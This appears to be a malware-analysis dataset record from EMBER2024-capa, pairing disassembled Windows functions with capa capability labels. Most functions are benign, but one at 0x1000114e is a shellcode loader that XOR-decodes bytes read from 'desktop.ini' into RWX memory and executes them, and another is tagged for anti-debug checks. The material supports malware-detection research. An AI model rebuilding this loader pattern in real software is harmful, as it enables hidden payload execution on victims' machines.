joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10036320
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10085658
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
push esi
mov esi, ecx
call fcn.10030b60
test eax, eax
je 0x10036428
lea ecx, [esp + 0xc]
call fcn.1000e3f0
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x34]
push eax
mov eax, dword [esp + 0x34]
push ecx
push edx
lea ecx, [esp + 0x18]
push eax
push ecx
mov ecx, esi
mov dword [esp + 0x3c], 0
call fcn.10030b60
mov ecx, eax
call fcn.1002e280
test eax, eax
je 0x1003640f
mov eax, dword [esp + 0x1c]
test eax, eax
mov ebp, eax
je 0x1003640f
push eax
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x1003640f
mov esi, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
neg esi
push edi
push ebx
sbb esi, esi
and esi, edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, ebp
mov edi, eax
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
call fcn.1000e5f0
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
pop edi
jne 0x100363f1
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x1003640f
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [0x103441a8]
push ebx
and eax, 0xffff
push eax
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0xc], 0x103131a0
call fcn.1000e5f0
mov ecx, dword [esp + 0x20]
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0x10
Function at 0x10036480
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, ecx
call fcn.10030b60
test eax, eax
je 0x1003656f
mov ecx, edi
call fcn.10030b60
mov ecx, eax
call fcn.1002e130
test eax, eax
jne 0x1003656f
push eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1003656f
mov eax, dword [0x103441a8]
and eax, 0xffff
push eax
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
jne 0x100364e2
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0xc
lea ecx, [esp + 0x10]
mov ebp, dword [esp + 0x24]
push 1
push ecx
mov ecx, dword [edi + 0x44]
lea edx, [esp + 0x1c]
shr ecx, 4
lea eax, [esp + 0x20]
push edx
mov edx, dword [esp + 0x2c]
and ecx, 1
push eax
push ecx
push ebp
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
mov ecx, edi
call fcn.10030b60
mov ecx, eax
call fcn.1002e360
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x28]
mov eax, 1
cmp ecx, eax
jne 0x1003656f
cmp ebx, eax
jne 0x1003656f
cmp dword [esp + 0x10], eax
jne 0x10036555
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0xcc]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [edi]
push eax
mov eax, dword [esp + 0x24]
push ecx
push ebp
push eax
mov ecx, edi
call dword [edx + 0xc0]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0xc
Function at 0x100391f0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x100858e8
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x10039229
inc eax
mov dword [esi + 0x10], eax
jmp 0x1003933c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x1003923d
mov eax, 0xffffffc7
jmp 0x1003933e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x1003924e
cmp dword [esi + 8], eax
jne 0x1003923d
cmp dword [esi + 8], eax
jne 0x10039267
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x10039267
mov eax, 0xffffffc7
jmp 0x1003933e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x1003927b
push eax
mov ecx, ebx
call fcn.10038a20
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.1000e3f0
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x100392ac
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.1000e410
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.10038190
test eax, eax
mov dword [esp + 0x38], eax
je 0x100392df
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x103131d0
call fcn.1000e5f0
mov eax, dword [esp + 0x38]
jmp 0x1003933e
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.10039050
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x10039323
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.10039070
mov esi, eax
test esi, esi
jne 0x10039353
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.10039050
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x100392f5
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x103131d0
call fcn.1000e5f0
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x103131d0
call fcn.1000e5f0
mov eax, esi
jmp 0x1003933e

Function at 0x1003dd00
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x1003dd60
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x1003dd60
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x1003dd60
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x1003dd60
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x1003dda0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x100498e0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x100861d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.1007f28c
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.10049240
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.1007f1ba
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.1007ba92
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.1007ba92
push 1
push 0
push 0
mov ecx, esi
call fcn.1007ba3a
push 1
push 0
push 1
mov ecx, esi
call fcn.1007ba3a
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.1007f2fe
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x10049a60
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x100861f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.1007f28c
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.10049240
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.1007f1ba
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x10049b24
cmp dword [esp + 0x40], 1
jne 0x10049b22
cmp ecx, eax
jge 0x10049b24
mov eax, ecx
cmp eax, 0xc8
jge 0x10049b30
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.100498e0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.1007f2fe
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x1004a320
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x100862a3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.10079ecc
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.1007f534
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.10080a50
test eax, eax
je 0x1004a43c
mov ecx, dword [esp + 0x3c]
call fcn.1007f561
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x1004a400
push edi
mov ecx, esi
call fcn.1007cbad
mov ecx, esi
call fcn.1004a5e0
cmp dword [esp + 0x38], 1
jne 0x1004a435
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.1007cce8
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x1004c620
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x1004c653
push esi
call fcn.1005a9e0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x1004c64c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x1004c6d9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x1004c6c2
mov eax, dword [esi + 8]
test eax, eax
je 0x1004c677
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x1004c6be
cmp eax, 2
je 0x1004c6c2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x1004c66a
cmp eax, 3
je 0x1004c69d
cmp eax, 1
jne 0x1004c66a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x1004c66a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x1004c66a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.1004c700
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x1004c6e8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.1004c700
add esp, 4
pop esi
ret

Function at 0x1004cf80
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x1004cfa1
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x1004cfa1
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1004cfa1
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1004d3f0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x1004d3fb
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x1004d4fe
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x10314e90]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10314e90]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10314e90]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10314e90]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10314e90]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10314e90]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10314e90]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x10314e90]
xor eax, edx
inc ecx
dec edi
jne 0x1004d416
pop edi
test esi, esi
je 0x1004d520
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x10314e90]
xor eax, edx
inc ecx
dec esi
jne 0x1004d502
pop esi
pop ebx
not eax
ret
Function at 0x1007aca8
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1007ace0
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.10078d79
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.10078d51
jmp 0x1007acec
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x1007c396
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x1007c3d8
call fcn.10081d30
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x1007c3d8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x1007c3cf
xor eax, eax
jmp 0x1007c3e0
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.1007c3e6
pop edi
pop esi
pop ebx
ret 4
Function at 0x409897
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1044
call fcn.0040daf0
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp word [esi], bx
je 0x409a95
push esi
call fcn.0040da7a
pop ecx
cmp eax, 0x7f6
jae 0x409a95
push edi
push 0x3c
pop edi
push edi
lea eax, [ebp - 0x44]
push ebx
push eax
call fcn.0040da00
movzx ecx, word [esi]
add esp, 0xc
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], 0x1c0
cmp cx, 0x22
jne 0x4098f2
lea eax, [esi + 2]
mov dword [ebp - 0x34], eax
jmp 0x4098f5
mov dword [ebp - 0x34], esi
xor eax, eax
cmp cx, bx
je 0x40994b
mov ecx, esi
cmp word [ecx], 0x22
jne 0x40991d
jmp 0x40990d
cmp word [esi + eax*2], 0x22
je 0x409916
inc eax
cmp word [esi + eax*2], bx
jne 0x409906
jmp 0x40991d
push 0x20
pop ecx
mov word [esi + eax*2], cx
cmp word [esi + eax*2], 0x20
je 0x409937
cmp word [esi + eax*2 + 2], 0x2f
je 0x409937
inc eax
lea ecx, [esi + eax*2]
cmp word [ecx], bx
jne 0x4098fe
jmp 0x40994b
lea eax, [esi + eax*2]
cmp word [eax], 0x20
jne 0x409945
xor ecx, ecx
mov word [eax], cx
add eax, 2
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
cmp eax, ebx
je 0x409957
cmp word [eax], bx
jne 0x40996c
cmp byte [ebp + 0xc], bl
jne 0x40996c
cmp word [0x4314fa], bx
je 0x40996c
mov dword [ebp - 0x30], 0x4314fa
push dword [ebp - 0x34]
mov dword [ebp - 0x28], 1
call fcn.00406716
mov edi, eax
cmp edi, ebx
je 0x409997
push str..inf
push edi
call fcn.0040c3c9
test eax, eax
jne 0x409997
mov dword [ebp - 0x38], str.Install
push dword [ebp - 0x34]
call fcn.00403af6
test al, al
je 0x4099c0
push 0x800
lea eax, [ebp - 0x1044]
push eax
push dword [ebp - 0x34]
call fcn.004067a4
lea eax, [ebp - 0x1044]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x409a94
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
mov byte [ebp - 1], bl
cmp byte [0x4304f0], bl
jne 0x4099f0
cmp byte [ebp + 0xc], bl
jne 0x4099f0
cmp byte [0x4304dd], bl
je 0x409a50
cmp dword [ebp + 8], ebx
je 0x409a0c
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x409a0c
push ebx
push dword [ebp + 8]
call esi
mov byte [ebp - 1], 1
push 0x7d0
push dword [ebp - 0xc]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [ebp - 0xc]
call fcn.00408cee
cmp byte [0x4304dd], bl
je 0x409a50
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x409a50
mov eax, dword [ebp - 8]
add eax, 0x3e8
cmp eax, dword [0x4304e0]
jbe 0x409a50
mov dword [0x4304e0], eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, ebx
je 0x409a6c
push 0x41d864
push edi
call fcn.0040c3c9
test eax, eax
je 0x409a83
cmp byte [0x4304f0], bl
je 0x409a83
cmp byte [ebp + 0xc], bl
jne 0x409a83
mov dword [0x4304e4], 0x1b58
cmp byte [ebp - 1], bl
je 0x409a94
cmp byte [ebp + 0xc], bl
je 0x409a94
push 1
push dword [ebp + 8]
call esi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x404300
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0040438f
jae 0x40430e
xor ecx, ecx
call fcn.0040438f
jae 0x40433d
xor eax, eax
call fcn.0040438f
jae 0x40434d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0040438f
adc al, al
jae 0x40432f
jne 0x404379
stosb byte es:[edi], al
jmp 0x404311
call fcn.0040439b
sub ecx, ebx
jne 0x404356
call fcn.00404399
jmp 0x404375
lodsb al, byte [esi]
shr eax, 1
je 0x404383
adc ecx, ecx
jmp 0x404372
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.00404399
cmp eax, 0x7d00
jae 0x404372
cmp ah, 5
jae 0x404373
cmp eax, 0x7f
ja 0x404374
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x404311
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x410cc0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4f235b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004e6a50
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x410d42
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004e40ad
mov eax, dword [eax]
push 0x6bad24
push eax
call fcn.004d5204
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004e6cdb
test bl, bl
je 0x410d42
push 0x6bad24
lea ecx, [esp + 0xc]
call fcn.004e706b
push 0x6bad30
lea ecx, [esp + 0xc]
call fcn.004e706b
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x410d7e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004e6cdb
jmp 0x410e49
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x410e02
lea edx, [esp + 0x7c]
push 0x6bad2c
push edx
call fcn.004d5204
add esp, 8
test eax, eax
je 0x410e02
lea eax, [esp + 0x7c]
push 0x6bad28
push eax
call fcn.004d5204
add esp, 8
test eax, eax
je 0x410e02
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x410d92
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004e6cdb
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x411650
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4116b2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc